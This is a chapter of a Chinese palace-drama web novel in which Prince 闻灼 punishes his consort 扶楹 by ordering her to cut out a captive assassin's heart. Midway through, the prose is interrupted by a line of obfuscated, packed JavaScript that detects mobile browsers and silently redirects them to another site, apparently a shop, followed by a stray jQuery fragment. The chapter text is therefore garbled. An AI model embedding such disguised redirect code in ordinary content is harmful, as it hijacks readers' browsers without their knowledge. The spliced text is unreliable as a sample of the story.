34.第 34 章

作品:《春雪扶楹

    “云川……”


    扶楹已唤回神志,见云川惘然下跪,心房微颤,对他自责的举动很是动容。


    聪明人之间无须多言,扶楹自然知晓他为何如此。


    她向他挥了挥手,“起来吧。”


    云川颀长的身形巍然不动,垂在两侧的手渐渐攥紧。


    “夫人,且罚属下跪个把时辰,不然……属下于心不安。”


    扶楹和碧落看向他的眼神不禁有了细微的变化。


    她们应是想到了同一位故人。


    起初江越性子鲁莽,做错事后,从不会求扶楹宽恕,只会一言不发倔强下跪,许久不肯起身。


    云川与江越非但样貌一致,性格也如此相似,想必这其中,定然有着不为人知的秘密。


    “很多事并不是非黑即白,立场不同,便有着难以定夺的是非对错。”


    扶楹叹了口气,在碧落的搀扶下走向前去,向云川伸出手。


    “他们虽是我旧识,可既然前来刺杀王爷,便是我的敌人。我在大殿那般妇人之仁实属不该,你无需自责。”


    云川抬眼看向她,瞳孔颤抖,双唇微动。


    “今夜这桩事并未结束,明日,不知还有何等腥风血雨在等着我……你今夜好生歇息,同我迎接明日吧。”


    扶楹一番话彻底触动云川的心弦。


    他缓缓伸出双手,十指轻搭在她的掌心。


    扶楹抬手将他扶起,眼波似皎洁月色,安然如水,“下去吧。”


    “谢夫人。”


    云川眉目低垂,向她俯身行礼后,踯躅着告退。


    “呼——”


    扶楹长长舒了一口气,垂下眼眸踏进芙蓉阁。


    她似乎对明日未知的到来,没有方才那般惊恐不安了。


    ——


    霜降时节,万山红遍。


    秋日天气转凉,草木枯黄凋零,露水凝结成霜。


    扶楹一大早便被骤降的气温冻醒,再也难以入睡。


    用午膳时,闻灼一改往日,破天荒地未曾喊她前去。


    扶楹独自在芙蓉阁简单用了几口饭食。


    人一旦形成习惯,便很难再适应改变,何况她心事重重,食不知味,满桌烹饪得恰到好处的珍馐都味同嚼蜡。


    用过饭后,扶楹正在窗边歇息片刻,清瑶从屋外匆匆行至她面前。


    “夫人,韦公公前来传话,王爷命夫人即刻去正殿。”


    扶楹身子一抖,惊恐之意骤然间浸透全身。


    她喊了云川和碧落,一刻不停地前往。


    路上,她脑海中不停回想着昨日寝殿内,他们二人厮守缠绵的场景。


    如果,假设是如果,闻灼不是卫王,她不是北狄公主,他们以雪熄和阿离的身份相遇,昨晚那般柔情缱绻,定是鸾凤和鸣,伉俪情深。


    而不会像他们昨夜那般,闹得不欢而散。


    正殿里人物与昨日依旧,气氛却极为压抑,仿佛笼罩了一层浓厚的乌云。


    闻灼正襟危坐,脊背挺得笔直,垂眸轻举着茶盏啜饮。


    他今日穿了件银蓝刺绣交领外袍,长发被华贵的金冠束起,露出脸部刚毅俊美的线条,面如冠玉,万中无一。


    顶着这样一张绝世面孔,周身气质却令人胆战心惊,散发着旁人勿近的冷冽气息。


    扶楹来到殿中央,深深呼吸,向前方的闻灼缓缓跪下。


    “妾身见过王爷,王爷金安。”


    闻灼轻抿几口方山露芽,独特淡然的芬芳在口中渐渐扩散。


    他抬眼看向垂头跪地的扶楹。


    她簪起单髻,虽略施脂粉,仍旧能看出面色有些憔悴。


    闻灼思绪不由地飘回昨夜。


    他将她娇小的身躯禁锢在腿上,唇舌细细品尝她口中芳津,惹得她不断轻声嘤咛。


    然而,她美好的一切,却早已被他人捷足先登掠取,对方还是他此生最为鄙薄之人。


    “啪——”


    闻灼紧绷着脸,将茶盏向桌面一放,不怒自威,面色阴沉,如同即将降临的狂风骤雨。


    听闻这一响动,殿内众人心中一惊,大气都不敢喘。


    闻灼看着扶楹,冷淡的眉宇间,似乎结了冰霜,“你可知,本王喊你前来何事?”


    扶楹身形一动未动:“妾身有罪,愿领受王爷责罚。”


    “你何罪之有?”


    面对闻灼不依不饶的再度发问,扶楹脑海中不由得思忖片刻,双目微微抬起。


    “妾身未能认清当前身份,对那刺客动了恻隐之心,乃第一重罪。”


    “妾身成为累赘被刺客挟持,为王爷带来诸多麻烦,乃第二重罪。”


    “妾身未能尽分内之事侍奉好王爷,还惹王爷不快,乃第三重罪。”


    扶楹如数家珍般悉数罗列着自己的罪状,语毕之后,大殿内再度陷入寂静。


    望舒和徐绾皆因她敏捷的巧思与井井有条的言语震惊不已。


    望舒暗暗羡慕,若他有扶楹一半的头脑,也不至于被闻灼天天训斥愚笨了。


    徐绾陷入深思,她深谙闻灼喜好。闻灼对这样冰雪聪明、富有才情的女子,绝无一丝抵抗力。


    “你倒是有自知之明。”


    果不其然,闻灼阴鸷的脸色稍稍缓和。


    他不得不承认,扶楹与他实在心有灵犀,总能滴水不漏道出他心中所思。


    他生硬的语气也随之平淡下来:“楹儿,你来长安一月有余,身子一直孱弱,未能服侍本王也属无奈。昨日贼人过于阴险狡诈,本王这群手下办事不力,才致使你受他挟持。”


    扶楹双手交叠放在腿上,静静地听着闻灼掷地有声的话语。


    “只是这其一,实属不该。本王早已提醒多次,可你顽固不化,不辨是非。你对敌人仁慈心软,迟早会化为反噬的利剑,刺向你和本王。”


    “是……”扶楹重重阖上眼睛,无从辩驳,“妾身愿受王爷任何责罚。”


    闻灼修长的手指缓缓擦过位于拇指的玉扳指,“你不能认清自己身份,本王便来帮你一把。”


    他转眼看向不远处的望舒,目光扫过他的左侧。


    望舒一怔,立即明白闻灼所指,随后屈起左臂,将藏匿于大臂后侧的匕首取出,双手捧着交给闻灼。


    闻灼接过后小臂一甩,将那匕首稳稳抛落在扶楹跪于地面的双膝前方。


    站在远处的云川看到此景,容色凝滞,高大挺拔的身形微颤,不祥之感迅速在心底蔓延扩散。


    扶楹一直低着头,当看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239139|194236||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到前方忽然出现的匕首,不禁被吓了一跳。


    “昨日被生擒贼人已休息得够好了……”


    闻灼意犹未尽地说着,唇角勾起,那笑容令人不寒而栗,冷血阴森。


    “你,去将他的心挖出来,向本王证明,你对北狄以及那商家竖子再无情义。”


    轰——


    扶楹只感觉一阵惊雷在耳边炸响,惊恐地睁大双眼,抬头看向他。


    她怔怔摇头,难以置信这残酷的一切,竟真实发生在她生命中。


    闻灼看向她的墨色的眼瞳仿佛幽黑的深渊,冷漠晦暗,不掺杂任何感情的眼神,令她如坠寒冰。


    扶楹眼眶瞬间溢满泪花,十指指甲深深陷进了掌心。


    这段相对平静的日子里,她与他日常相处感到舒适惬意。她知他心中所思所想,他也愿意包容她倔强的小性子。


    本以为几个夜晚流露的深情,是他稍稍融化的证明,但今日的状况,将扶楹一切的幻想碎为齑粉。


    从他在衔青殿和芙蓉阁对自己起了杀心时,她便意识到,他是个极其冷血的人。


    她不该忘记,他的血液是冷的,骨子里是残暴的。


    他不是人,他是个疯子……


    瞧着扶楹呆若木鸡,面如土色,闻灼眼神狠厉补充道:“记得,要在他活着的时候动手,本王想看到——尚在跳动的心脏。”


    四行清泪从扶楹眼中奔涌流出,“你……”


    她近乎昏厥,身形不稳,向后仰倒。


    如此迫在眉睫的危急情势下,无人敢上前去搀扶。


    扶楹身子摇摇晃晃,手肘撑在地面,才勉强不让自己倒下。


    她咬紧牙关,试图极力压抑住哭声,嗓音断续颤抖:“王爷,我自去年家父故去……便信奉观音菩萨,你不能让我……去做杀人这离经叛道之事……”


    “离经叛道?”


    闻灼仿佛听到天大的笑话一般,眉眼间染上讥讽与轻佻。


    “照你这么说,那本王一直以来的所作所为是什么?”


    他面色完全阴沉下来,锐利如刀锋般的目光射出,恨不得将扶楹碎尸万段。


    “这许多年来,本王若有半分心软,早已死过无数次了。你既已从本王,就不该妄想着十指干干净净、不沾血腥。”


    他十年征战,杀人如麻,且与刺客周旋已久,早已沾染一身凶暴煞气,鬼神都难以靠近。


    而她,纯洁得像朵一尘不染的雪莲,与他实在不契。


    扶楹听罢,双唇,甚至牙齿,都在剧烈颤抖着。


    接连不断的绝情话语,如同惊雷破天,令她身心疲惫不堪。


    “快去。”


    闻灼冷漠催促着,仿佛只是让她完成研磨这般稀松平常之事,“你医术精深,剖心对你来说并不难。”


    扶楹被他惨无人道的话语击溃了心中所有信念,绝望地笑了。


    那笑容,如同绽放在暗夜里的昙花,只绽开一瞬浮华,便凋亡陨落。


    扶楹放弃与他争辩,颤颤巍巍拿起身前的匕首,从地上缓缓爬了起来。


    她转过身去,泪水难以抑制地潸然滑落。


    即将离开大殿时,她咬紧后槽牙,似是下定什么决心,飞速转过身,拔腿奔向案前的闻灼。